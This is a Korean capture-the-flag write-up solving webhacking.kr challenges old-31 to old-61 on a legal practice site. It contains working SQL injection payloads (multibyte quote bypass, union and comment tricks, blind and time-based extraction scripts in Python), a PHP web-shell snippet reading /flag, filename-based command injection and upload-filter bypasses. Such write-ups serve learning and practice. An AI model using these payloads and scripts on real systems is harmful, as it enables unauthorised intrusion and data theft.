Webhacking.kr write-up old-31~61
old-31
문제 첫화면이다. 포트를 10000~10100 사이 랜덤 값으로 소켓을 보낸다. 간단하다.
포트포워딩해서 10000~10100으로 들어오는값을 netcat으로 받으면된다.
solved
old-32
1등은 문제를 이미 푼 저입니당... 딱 봐도 내 계정을 100점 만드는것 같다. 코드를 살펴보자.
클릭하면 점수가 올라가나보다. 한번 눌러보자.
점수가 올라가는 동시에 쿠키값이 하나 생성되었다. 투표가 한 사람당 하나로 제한되어있는듯하다. 그림으로 표시해놓은 쿠키생성 금지를하자.
금지를 하면 점수를 올려도 저 쿠키값이 생겨나지않는다. 문제는 일일이 100번 클릭해야하나?인데 나는 귀찮아서 페이로드를 작성했다.
cookies={}
cookies['PHPSESSID']='자신값'
url='https://webhacking.kr/challenge/code-5/?hit=자기id'
for i in range(100):
res = requests.get(url=url,cookies=cookies)
실행시키면
solved! 쉬운문제
old-33
이야... 참 문제가... 난이도는 쉬운데 3-1번부터 3-10번까지 문제가 있다ㅋㅋㅋ 풀면서도 이걸 일일이 사진캡쳐해서 올릴 생각하니 어지러웠다. 그냥 간단한 풀이만 10번까지 적겠다... 죄송합니다.
3-1. 10초컷 문제다. ?get=hehe 해주면 끝
3-2. 10초컷. burp suite로 post방식 post=hehe, post2=hehe2 끝
3-3. 10초컷. 내 ip를 묻는다. ?myip=자신ip 끝
3-4. 상당히 귀찮은 문제. 현재 timestamp값을 md5 encrypt한 값과 password 파라미터 값과 같으면 된다. 미리 조금 이후의 timestamp값을 md5 해서 타이밍 맞게 제출(아 또 해야돼...)
3-5. get,post 둘다 동시에 제출해야한다. 꼭 burp suite를 사용해서 동시에 넘겨주자. 그리고 쿠키값 설정
3-6. 내 ip값 md5해서 쿠키로 설정, post방식으로 user-agent값을 md5해서 kk= 으로 넘겨주기
3-7. 코드 장난을 쳐놨다. 맨 처음 값이 '.' 을 뺀 ip로 설정되고 이 값을 파라미터 이름으로 갖으며 또한 값이기도 한... 말로 설명하기 어렵다. 쉽게 나타내보면 127.0.0.1 -> 127001 GET['127001'] == 127001 인 것이다. 자신의 IP로 하면 끝
3-8. extract가 있으니 그냥 addr=127.0.0.1 넘겨주면 된다. 함정문제다.
3-9. 코드를 보면 아스키코드값으로 문자로 바꿔주고있다. +2씩 하면서 말이다. 97은 a 이므로 a부터 2칸씩 건너뛰며 문자열을 만들어 주면된다. ans=acegikmoqsuwy
3-10. 코드가 좀 어지럽다. 일일이 하기엔 너무 귀찮으므로 php코드를 실행시켜주는 사이트로 간다음 $_SERVER['REMOTE_ADDR']값만 내 IP로 설정한다음 $ip와 $answer값을 얻는다. 그다음 answerip/{$answer}_{$ip}.php 경로로 이동해주면된다.
solved!
글로만 해도 이 정도인데 일일이 설명하면... 어우
문제가 많긴 했어도 php코드만 대충 볼줄알면 바로바로 풀 수 있는 문제들로만 구성되어있다.
old-34
문제를 열자마자 alert가 뜬다. 디버깅을 해보란다. 웹페이지에는 그냥 검은화면이다. 코드를 살펴보자.
자바스크립트 코드가 보기 어렵게 잔뜩있다. 이렇게보면 가독성이 너무 떨어지니 코드 정리하는사이트에 넣고 돌렸다.
돌려도 못읽는건 똑같았다. ㅋㅋㅋ 그러다가 떠오른게 alert문이 떴으니까 코드에 alert가 있지 않을까 하고 찾아보았다.
운좋게도 있다. if문이 있었고 조건이 false면 alert를 출력하는것이다. 저 alert문을 console에 쳐보면 debug me가 나왔다. 내가 찾던 그 코드가 맞는듯 하다. 그럼 true가 되면 어떻게되는거지? console로 입력해봤다.
경로가 하나 나왔다. 저 경로로 이동하면
solved!
배점이 꽤 높길래 쫄았는데 쉽게 푼 문제다.
old-35
문제 첫 화면이다. phone에 아무숫자 입력하고 add하면 Done하고 끝이다. 소스코드를 살펴보자.
phone과 id를 입력받고, 필터링을 거쳐서 insert를 수행한다.
그리고 결국 id=admin인 계정의 ip와 내 ip가 같아야한다.
일단 id는 길이제한이 있기 때문에 injection하기 쉽지않다. 그래서 phone을 활용해야하는데 딱 봐도 괄호를 활용해서 values 항목을 또 하나 보내야 할것같다. id는 admin, ip는 본인 ip를 넣도록 만들어보면
123),('admin','자기ip',12
이렇게 하면 된다. 주석처리 해줄것도 없다.
solved! 쉬운문제
old-36
문제 첫 화면이다. index.php 작성중에 power가 나가서 소스코드가 사라졌단다. 그냥 딱 삘이왔다. 바로 .index.php.swp 입력
파일이 다운로드 된다.
파일을 열어보면
flag 획득
solved!
백업파일 문제는 참 어디든 한번씩은 보는듯하다.
old-37
문제 소스코드이다. 대충 파악해보면 ./tmp/tmp-{$time} 을 업로드할때마다 생성하는데 같은 이름의 파일이 존재하면 7777포트로 소켓을 보낸다. 간단하다.
./tmp/tmp-{$time} 을 업로드해주는 python payload를 작성한 후 7777포트를 열어줘서 netcat으로 listen해주면 된다.
solved
old-38
문제 첫 화면이다. log injection? 처음 듣는다. 아무거나 써서 login해도 아무런 반응없이 그대로이다. 코드를 살펴보자.
경로가 하나 주어졌다. 이동해보자.
내가 입력했던 값들이 그대로 출력됐다. (ip도 앞에 같이 출력되는데 잘랐습니다) 그래서 admin을 입력해봤지만 you are not admin이 출력된다. 그래서 입력받는곳을 textarea로 바꿔서
123
본인ip:admin
으로 입력하니
solved! 삽질하기 좋은문제
old-39
문제 첫화면이다. 코드부터 살펴보자.
입력 받은값으로 sql 쿼리문이 작성되는데 이상한점이 있다. and id='{$ 이 부분에 single quote가 있는데 뒤에 끝을 맺는 single quote가 없다. '을 넣어야되는데 str_replace로 필터링되고 있다.
해결법은 admin(공백)(공백)(공백)(공백)(공백)(공백)(공백)(공백)(공백)' 이다. substr으로 15자까지 잘라내기 때문에 '이 ''로 replace 된다고 해도 결국에는 '만 남는것이다.
solved! 신기한문제
old-40
흠... 좀 의문이 남는 문제이다. 왜 그런지는 차차 설명하겠다. login을 바로 해보면 guest로 로그인이 된다. admin으로 로그인을 해야하나보다. 일반적인 로그인과 다른점이 눈에 보인다. 바로 no값을 입력하는것인데 숫자를 입력한다는점에서 또 blind injection이 떠오르지 않을 수 없다. 1||1을 입력해보니 성공한다. 0||0은 당연히 실패했고 이상하게도 2||2가 성공했다. ...? 또 #는 먹지 않는다. 이게 가능한건가? sql문이 어떻게 짜여있는거지... 내가 예측했던 sql문은
select name from tablename where id='' and pw='' and no=''
이건데 2||2에서 어떻게 guest로 로그인이 되는거지?
아무튼 no=2값이 존재하긴 하나보다...
db, table, column을 점진적으로 알아내려고 했으나 select가 필터링되고 있다. 그래서 그냥 column값을 no, id, pw로 예상하고 값을 예측하기로 했다. 0||substr(id,1,1)=0x61 을 입력했더니 admin으로 로그인되었다.
패스워드를 요구한다.
params = {}
database = ''
for j in range(20):
for i in range(40,129):
url = "https://webhacking.kr/challenge/web-29/"
params['no'] = '0||substring(pw,{},1)={}&&no=2'.format(j+1,hex(i))
params['id'] = 'guest'
params['pw'] = 'guest'
print(params['no'])
res=requests.get(url, params=params)
if 'admin' in res.text:
database += chr(i)
print('find! {}'.format(database))
break
페이로드를 대충짜서 브루트포싱해보면 luck_admin값이 나온다. 입력해주면
solved!
old-41
문제 첫 화면이다. 파일업로드 문제인듯 하다. upload를 눌러보았다.
done~ 이 되면서 오류문구가 뜬다. 경로가 정확하게 명시되어있는데 이걸로 뭘 할순 없었다. 소스코드를 보자.
파일명이 필터링되고, 경로가 설정돼서 flag가 작성된다. 저 $upload_dir을 모르는게 관건이다. 파일명을 ../ 사용해서 내가 접근할수있는 경로로 만드려고 했으나 필터링이... url encode도 사용해서 %00,%09 을 파일명에 때려넣기도 해봤지만 실패
결국 저 오류문구를 활용하기로했다.
일단 파일명을 '.' 로 넘겨줘서 아무것도 없도록 만들었다. 하지만 이것도 오류. 이번엔 파일명을 길~게 늘려서 제출했더니
갑자기 $upload_dir을 알려준다. test.txt를 upload하고
4b0e87fef7b5e8ba83894970c9806042e5d6ec9a/testtxt로 가니
solved!
역시 오류문구는 항상 중요하다.
old-42
문제 첫 화면이다. 파일을 다운로드 할수있나보다. download해보자. test.txt는 다운로드 되지만 flag.docx는 다운이 안되고 alert()가 출력된다. 코드를 살펴보자.
test.txt는 down으로 암호문을 넘겨줬고 flag.docx는 자바스크립트 코드가 있다. 암호문 마지막이 =으로 끝나는 것으로 보아 url encode 되어있는듯하다. 복호화해보자. test.txt가 나온다. 바로 알 수 있는것은 down=url encode(flag.docx)를 넘겨주면 flag.docx가 다운로드 된다는 것이다. 바로 넘겨주면 flag 획득
solved! 굉장히 쉬운 문제다.
old-43
또 파일 업로드 문제이다. 문구를 읽어보면 딱 봐도 웹쉘 업로드 시켜서 열어보는 문제다. test.txt를 업로드 해보니
wrong type 이란다. 아마도 파일 확장명을 제한해둔듯 하다. php%00, phphphp, png.php 등등 해봤지만 실패했다. 그러다가 알게된점은 png는 업로드가 된다는 점이다. 확장명이 아니라면 content type을 조작하면 되지 않을까? burp suite를 켜서 전송데이터를 조작해주었다.
성공! 저 경로로 이동해보자.
딱 봐도 base64...
test2.php의 코드는 다음과 같다.
<?php
echo `cat /flag`;
?>
solved!
확장명으로 삽질 좀 했지만 어렵진 않았던 문제
old-44
문제 첫 화면이다. 소스코드를 살펴보자.
5자리 문자열을 입력해서 ls를 실행시켜야한다. single quote에 유의해서 ';'ls 해주면
파일이 하나 나온다. 저기로 가주면
solved!
old-45
문제 첫화면이다. sql injection이 명시되어있고 제출하면 guest로 로그인된다. 소스코드를 살펴보자.
필터링이 꽤 많다. addslashes랑 mb_convert_encoding 보고 딱 깨달았다. multi byte 우회 문제구나. 이거에 대한 내용은 인용을 좀 하겠다.
mysql_real_escape_string함수는 (\x00, \n, \r, \, ', ", \x1a)의 문자를 필터링 해준다.
addslashes함수는 (',")의 문자를 필터링 해준다.
여기서 공통점은 ' 와 " 를 똑같이 우회 방지한다는 것도있지만, 우회 방식이 똑같다는 점이다.(안전하지 않은 문자앞에 백슬래쉬를 붙여줌)그럼 이 점을 중점으로 두고 취약점에 대해 알아보자.
이 함수의 취약점은 mb_convert_encoding 함수를 사용할 때 발생한다.
mb_convert_encoding함수는 인코딩을 할 때 쓰이는 함수 이며, 언어를 한국->일본, 중국->한국 등 다른나라 언어로 바꿀 때 사용된다.
(예:mb_convert_encoding(str, to_encoding)->mb_convert_encoding(string, UTF-8,euc-kr))
멀티바이트를 사용하는 언어셋 환경에서는 백슬래시 앞에 %a1~%fe의 값이 들어오면 인코딩이 깨지면서 백슬래시를 덮어씌어버려서 2바이트의 멀티바이트를 하나의 문자(1바이트)처럼 표현이 되는 취약점이 있다.
예를들어 addslashes함수나 mysql_real_escape_string함수에 0x27(')이 들어가게 되면 0x27앞에 백슬래쉬를 붙여준다. 즉 0x5c27(\')이 된다. 여기서 %a1~%fe의 값이 들어오면 백슬래쉬를 먹어버린다고 했으니 0xa15c27을 삽입하면 '만 남개된다.
이로써 우회가 가능하다고 볼 수 있다.
출처: https://dydgh499.tistory.com/32 [Creating my everything]
즉, single quote가 조금 제한적으로 사용가능하다. sql injection에서 single quote의 가능여부는 굉장히 중요하다. 나 정도의 초급자 수준에서는 거의 sql injection의 가능여부와 똑같다.
또 가능한것이 16진수 표현, like 허용, 주석처리 허용, id 허용, 괄호 허용 정도이다. 이 재료를 잘 조합해서 풀어야한다. 코드에 sql 문을 보면 pw를 md5형식으로 저장하는듯하다. 즉, pw쪽은 우회하기가 어렵다. 아마 id에서 손봐서 그 뒤로는 주석처리를 해줘야하는듯하다. 대강 원하는 입력값은 ' or id like 'admin'# 이다. 일단 앞에 single quote는 %f1을 추가하면되고 뒷부분이 문젠데 이건 같은 방식으로 적용할수 없다. 적용하면 ?'admin?'이 되기 때문이다. 그래서 'admin'을 hex encoding 해서 사용하면 된다. 따라서 대강 바꿔보면 %f1' or id like 0x0x61646D696E# = %bf%27%20or%20id%20like%200x61646D696E%23 으로 id 넘겨주면
solved!
old-46
문제 첫 화면이다. 그냥 1을 제출하면 돈을 알려준다. 코드를 살펴보자.
필터링이 꽤 있고 sql문이 있다. 역시나 id=admin으로 로그인 해야한다.
일단 허용되는 것들을 나열해보면 =,(),#,||,&&,0b 이 정도 인듯하다. 띄어쓰기가 막혀있기 때문에 ()를 쓰는게 좋아보인다. 우선 0부터 1000까지 payload를 작성해서 bruteforce를 해보았다.
url='https://webhacking.kr/challenge/web-23/'
answer=[]
for i in range(1000):
params['lv'] = i
res=requests.get(url, params=params)
print('{} executed'.format(i))
if 'money' in res.text:
answer.append(i)
print(res.text)
print(answer)
결과 값은 1,2,3,4 가 나왔고 admin은 없었다. 결국 나는 1,2,3,4가 아닌 lv이 admin일거라 예상하고 0)or(lv!=1)and(lv!=2)and(lv!=3)and(lv!=4) 로 했는데 실패했다... 그럼 경우의 수가 2개다.
- 1,2,3,4중에 하나를 lv로 갖는 admin이 있다.
- table에 admin이 존재하지 않으므로 출력값만 admin이 나오도록한다.
그런데 2번은 할 수가없는이유가 select가 막혀있기 때문이다. select admin, money를 할 수 없다. 결국 1번의 경우이므로 id조건을 넣어야한다. 결국 입력해야하는값은 0)or(id='admin') 인데 '가 막혀있고 0x도 막혀있기 때문에 binary encoding을 할 수 있다. admin=0b0110000101100100011011010110100101101110 이므로 결국 0)or(id=0b0110000101100100011011010110100101101110)를 해주면
solved!
old-47
전혀 몰라서 write-up을 찾아보니 문제에 오류가 있는듯 하다. 원래 mail header가 다 출력되어야 되는데 지금은 되지 않는다.
문제의 핵심은 input태그를 textarea로 변경해서 header injection을 하는 것이었다. 정확한 풀이를 알고 싶으면 다음 블로그 글을 보면 된다.
https://eine.tistory.com/entry/Rubiya-webhackingkr-old-47%EB%B2%88-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4
old-48
문제 첫 화면이다. 또 파일 업로드 문제이다. 대충 써서 php 파일을 업로드해보자.
php 파일인데도 업로드가 그냥 된다. upload file을 눌러보자.
코드가 그대로 출력된다. 파일로 코드를 실행시키는건 아닌듯하다. 그럼 comment나 file명밖에 없는데 comment도 통하지 않았다.
여러가지 삽질을 하다가 test.php;ls 를 넘겨주고 delete를 해보니
ls 출력문이 나타난다. 좀 어이가 없었다. 실제로 이렇게 설계를 해놓을수가 있나...? 코드를 좀 보고싶은 문제다.
solved!
old-49
엥? 앞에서 풀었던 문제랑 똑같은 형태다. 소스코드는 다르겠지? 코드를 살펴보자.
조금 차이가 있었다. 음 대충 허용되는것들을 나열해보면 ||, &&, id, lv, =, 0x, 0b 이 정도다. 저번 문제랑 똑같이 1~4번까지는 그냥 로그인이 되었다. 논리 연산자가 허용되므로 0||id=0b0110000101100100011011010110100101101110 로 넘겨주면 끝
solved!
허용되는걸 체크해보는게 굉장히 편한것같다.
old-50
문제 첫 화면이다. 또 sql injection 문제이다. guest로 제출하니 level:1이 뜬다. 소스코드를 살펴보자.
필터링이 쬐끔 복잡하게 되어있다. 캐치할점을 정리해보자.
- addslash, mb_convert_encoding이 나온것으로 보아 multi byte 취약점 활용가능
- id에만 union이 막혀있다. pw에는 되나보다.
- pw가 md5로 감싸져있으므로 pw를 알아내는것을 불가능하다.
- 마지막으로 허용 가능한것을 나열해보면, select, id, %09, ||, &&, 0x, like, #, %f1, /* */ 정도가 있다.
처음에는 id값만 잘 조합해서 admin으로 로그인하려고 했다. 그래서 %f1'||0x61646D696E 를 넣어봤는데 level:1이 출력되었다. admin 또한 level:1인것을 딱 깨닫고 이건 admin으로 로그인 하는것이 아니란 생각을 했다. 괜히 pw에 union이 허용된것이 아니다. 즉, union select로 3 값을 그냥 가져오는것이다. union select를 pw위치에서 실행시키기 위해선 md5를 무효화시켜야한다. 말로 설명을 잘 못하겠다... 결론부터 말하자면
select lv from chall50 where id='?'
/* and pw=md5('*/union select 3#')
이렇게 되어야한다. id에서 multi byte로 일단 single quote를 만들어서 마저 닫아주고 /* */를 활용해서 pw사이의 문구들을 주석처리 시킨다음에 union select를 수행하도록 하는것이다.
저걸 잘 변환해주면
id=%f1'/*&pw=*/union%09select%093%23
이렇게 넘겨주면 된다.
solved!
나름 난이도가 있었던 문제라고 생각한다. /* */를 활용하는 문제가 왜 안나오나 했는데 나와서 반갑기도 했다.
old-51
문제 첫 화면이다. admin으로 로그인 해야하나보다. 소스코드를 보자.
코드는 비교적 단순하다. 다른 일반적인 문제랑 비교해보면 답을 찾기 쉽다. 취약점이 생기는 코드는 바로 md5이다. 저 메소드의 두번째 인자값을 true로 전달하게되면 32자리 문자열이 아닌 16자리 바이너리 값으로 변환해준다. 이게 뭐가 문제가 되냐고 할 수 있다. 신기하게도 저 변환된 값 중에 '??????'or'??????' 같이 'or' 가 포함되는 값이 존재하는데 이 값이 들어가게되면 sql 문에 삽입되었을때 항상 true를 반환하게 되므로 로그인을 하게 만든다.
자세한 내용은 다음 블로그를 참고하면 좋다.
https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=is_king&logNo=221532839875
아무튼 저런 값이 나오는 값은 129581926211651571912466741651878684928 이므로 (이것말고도 여러개 존재) password값에 저 값을 넣어주면
solved!
아는 문제라 쉽게 풀었다.
old-52
문제 첫 화면이다. admin page에 접근하란다. 일단 가보자.
음... 갑자기 id,password를 요구한다. 일다 아무거나 적고 제출.
로그인 실패가 뜨고 소스코드가 주어진다.
해석해보자면 admin page에 접근하려면 우선 login에 성공해야하고 지정된 ip여야한다. sql문이 매우 취약한 상태로 되어있다. admin'--로 가능할듯하다. 그리고 ip는 처음에 제공해준 proxy서버를 사용하란 말인것같다. login부터 해보면
파라미터로 넘겨준 /admin값이 request문에 그대로 포함된다는것을 알 수 있다. 이 특징을 이용해서 header문을 조작할수 있다.
solved
old-53
문제 첫화면이다. 아무것도 없다. 소스코드 확인해보자.
sql injection인 듯하다. 코드를 좀 읽어보면 val값을 잘 전달해서 tablename을 알아낸 후에 answer로 tablename으로 넘겨주면 solve라고 되어있다.
필터링은 간단하게 select, by가 걸려있다. 그냥 procedure analyse()를 이용하면 된다.1 limit 0,1 procedure analyse();을 넘겨주면
schema,table,column이 나온다. 두번째값을 answer로 넘겨주면
solved!
old-54
문제 첫 화면이다. 사진에 저 e 값이 돌아가면서 바뀐다. 좀 자세히 보면 {}가 섞여있는데 flag를 한글자씩 출력하는것 같다. 코드를 살펴보자.
자바스크립트로 대충 적혀있다. 딱봐도 i로 반복문 돌려서 값을 하나씩 출력하는것같다. 콘솔을 이용해서 간단한 코드를 짜봤다.
let ans='';
function answer2(i){
for(i=0;i<50;i++)
{
x.open('GET','?m='+i,false);
x.send(null);
ans+=x.responseText;console.log(ans);
}
}
answer2(0);
실행시켜주면
solved!
old-55
정말 좋은 문제다. 혼자 힘으로 풀진 못했지만 배워가는게 많았다.
첫 화면이다. 마우스를 갖다대면 막 점수가 오른다. 그러다가 GAME OVER가 되고 다시 게임이 시작된다. BURP SUITE로 보니 점수가 전달됐던걸로 기억한다.
점수판이 있고 점수를 누르면 ID와 점수를 보여준다. 사람들이 점수를 변조해서 많이 전달했나보다. INT 최대값이 잔뜩 등록되어있다 ㅋㅋㅋㅋ 그리고 중요한 sql문이 맨 아래 숨겨져있다. insert문이 있는데 score가 trim으로 감싸져있고 single quote로 감싸져있어서 뭘 할 수가없다. 심지어 select도 아니어서 flag값을 빼낼 수도 없다. 정보를 보여주는건 저 점수 링크뿐이라 score값을 1||1로 넣어봤는데 성공한다. blind injection을 사용하면 될거같다. 그런데 필터링이 꽤 많이 걸려있다. substr, union, select 등 문자열을 알아내는건 거의 막혀있었다.
일단 score=1 procedure analyse() 를 해보니
db.table.column값이 나온다. limit을 사용해서 다른 column도 뽑아보자. score=1 limit 1,2 procedure analyse()
2,3 을 넣으니 flag값이 들어있는 column을 알아냈다. 문제는 이제 flag값을 어떻게 알아내느냐인데 찾아보니 신기한방법이 있다. 바로 left,right를 활용하는 방법이다. 생각지도 못했다.
database = ''
for j in range(50):
start = 20
end = 129
mid = 0
while (start<=end):
mid = int((start+end)/2)
print('start : {}, mid : {}, end : {}.'.format(start,mid,end))
url = "https://webhacking.kr/challenge/web-31/rank.php?score=0||if(ord(right(left(p4ssw0rd_1123581321,{}),1))={},1,0)".format(j+1,mid)
res=requests.get(url)
if 'jisu' in res.text:
database += chr(mid)
print('find! {}'.format(database))
break
url = "https://webhacking.kr/challenge/web-31/rank.php?score=0||if(ord(right(left(p4ssw0rd_1123581321,{}),1))>{},1,0)".format(j+1,mid)
res=requests.get(url)
if 'jisu' in res.text:
start = mid+1
else:
end = mid-1
페이로드를 작성해서 돌리면 FLAG{easy_peasy_lemon_squeezy!} 가 나온다. (참고로 이 코드대로 안될수도 있다. 'jisu'값을 변경해주면 될것이다)
solved!
left right... 참 좋은 문제. 까먹지말자
old-56
문제 첫 화면이다. 게시판을 구현한것 같고 검색기능이 있다. readme를 열어보자.
안열린다. hi~를 열어보자
열린다. 결국 목적은 저 admin 게시물을 여는듯하다. 검색기능에 특이한점이 있었는데 글 제목 검색이 아닌 글의 내용 검색이었다. 그래서 hello를 검색하면
저 게시물만 뜨게된다. 여기서 캐치했던점이 sql문에서 like절을 사용하고 있구나 생각했다. 그래서 이것저것 injection을 해봤지만 실패했다. 삽질하다가 브루트포싱을 해보기로했다. flag의 형식은 FLAG{???}이므로 첫 문자는 F로 설정해놓고 코드를 돌려보았다.
database = 'f'
for j in range(100):
for i in range(40,128):
url = "https://webhacking.kr/challenge/web-33/"
params['search']=database+str(chr(i))
#params['id']="guest"
#params['pw']='guest'
res=requests.post(url, data=params)
print(params['search'])
if 'admin' in res.text:
print('find {}'.format(chr(i)))
database += chr(i)
print(database)
break
so?_ 까지가 끝인듯하다. 마지막 문자가 반복문을 헛돈다.
solved!
old-57
문제 첫 화면이다. 비밀 메세지를 보내는거같다. 아무거나 입력하고 제출하니 Done이 출력된다. 소스코드를 살펴보자.
msg, se를 받아서 insert절을 수행한다. 그런데 문제는 insert만 있다는것이다. 입력한 데이터를 열어볼수 있는 방법이 없다. 즉, 입력만으로 저 $flag값을 알아내야한다. 여기서 if와 sleep을 사용해야겠다라는 생각을 떠올려내야한다. 필터링에 benchmark가 있는걸로 힌트를 준듯 하다. 친절하게 get['se']에는 single quote가 씌여있지 않다. 여기에 if를 사용하면 된다. flag가 pw column에 있으므로 pw의 length 부터 알아내자.
database = ''
for j in range(24):
start = 40
end = 129
mid = 0
while (start<=end):
mid = int((start+end)/2)
print('start : {}, mid : {}, end : {}.'.format(start,mid,end))
before = time.time()
url = "https://webhacking.kr/challenge/web-34/index.php?msg=asdf&se=if(ascii(substr(pw,{},1))={},sleep(1),0)".format(j+1,mid)
res=requests.get(url)
after = time.time()
if after-before >= 1:
database += chr(mid)
print('find! {}'.format(database))
break
url = "https://webhacking.kr/challenge/web-34/index.php?msg=asdf&se=if(ascii(substr(pw,{},1))>{},sleep(1),0)".format(j+1,mid)
before = time.time()
res=requests.get(url)
after = time.time()
if after-before >= 1:
start = mid+1
else:
end = mid-1
이진탐색으로 구현해서 다른 write-up에 있는 코드보다 빠르게 작동할 것이다. 결과값은 FLAG{y2u.be/kmPgjr0EL64} auth창에 입력해주면
solved!
굉장히 좋은 문제인듯하다.
old-58
뭔가 채팅방같은게 구현되어있다. 뭐라도 보내보자.
ls 명령어가 먹힌다. 근데 또 cat은 안먹힌다. 특정명령어만 허용되는듯한데... help를 운좋게 쳤더니 됐다. ls, id, flag, help만 가능한가보다. id를 보니 root 계정으로 설정되었고 flag를 쳐보니 admin이어야 한다는것 같다. 결국 root에서 admin으로 계정을 바꿔야하는것같다. 더 이상 주어진게 없어서 코드를 보았다.
자바스크립트 코드가 좀 있다. 뭐 대강 소켓통신을 하는것같은데 username이 guest로 되어있다. 딱 봐도 저 값을 admin으로 만들면 될거 같다. 콘솔로 코드를 짧게 짜서 실행시키면
var socket=io();
socket.on('cmd', function(msg){
$('#messages').append($('<li>').text(msg));
});
socket.emit('cmd','admin:flag');
solved!
old-59
문제 첫 화면이다. 회원가입, 로그인이 구현되어있다. 소스코드를 보자.
select와 insert절이 있다. insert절이 회원가입 쪽일 것이다. 코드를 보니 admin계정을 직접 찾을순 없을것같다. admin,0x,char 가 필터링되어있고 심지어 문자열 길이도 20자로 제한이 있다. 거기에 single quote도 막혀있다. 좀 의심스러운 부분은 select 문제 post lphone값은 ' '로 감싸져 있는데 post phone값은 ' '로 감싸져있지 않다. single quote를 안써도 injection이 된다는 말이다. 웬만한것은 다 안되고 해결방법은 reverse()를 사용하는것이다. id에 nimda를 입력하고 reverse(id)를 해주면 admin이 입력되는 원리이다.
따라서 id=nimda, pw=123,reverse(id))-- 로 join해주고
id=nimda, pw=123으로 로그인해주면
solved!
old-60
문제 첫 화면이다. index를 알려줄뿐이다. 코드를 보자.
./readme/idx.txt 파일이 만들어지고 ip가 localhost가 아니면 삭제된다. 만들었다가 삭제한다? 뭔가 이상하다. 또 저 sleep(1)이 갑자기 있다. 딱 떠오른것은 race condition. edge창도 켜서 PHPSESSID 쿠키값을 숫자로 바꾸고 동시에 새로고침하면
solved!
race condition을 알아채지 못하면 무한삽질가능...
old-61
문제 첫 화면이다. 소스코드를 보자.
id column에서 admin을 가져오는 문제이다. id=*을 해보니
역시 admin이 아니다. 이 문제의 관건은 $result['id']=="admin" 이다. 단순한 sql 결과값을 요하는게 아니다.
as(alias)를 사용해야한다. ?id='admin' (as) id 를 입력해주면 되는데 admin을 문자열 형태로 넘기기 위해 hex encode를 해준다.
id=0x61646D696E%20id 를 넘겨주면
solved!
※ 이 문제에 허점이 있다. 실제로 select 0x61646D696E 를 하면 admin이 출력되는 것이 아닌 0x61646D696E가 출력된다. 이 문제에서는 저렇게 동작하도록 설정되었을 뿐이다. 진짜 중요한 개념이다... 자세한 내용은 다음 블로그를 보시면 좋을것 같습니다.
https://hevton.tistory.com/228
Author And Source
이 문제에 관하여(Webhacking.kr write-up old-31~61), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://velog.io/@whtmdgus56/Webhacking.kr-write-up-old-3161저자 귀속: 원작자 정보가 원작자 URL에 포함되어 있으며 저작권은 원작자 소유입니다.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)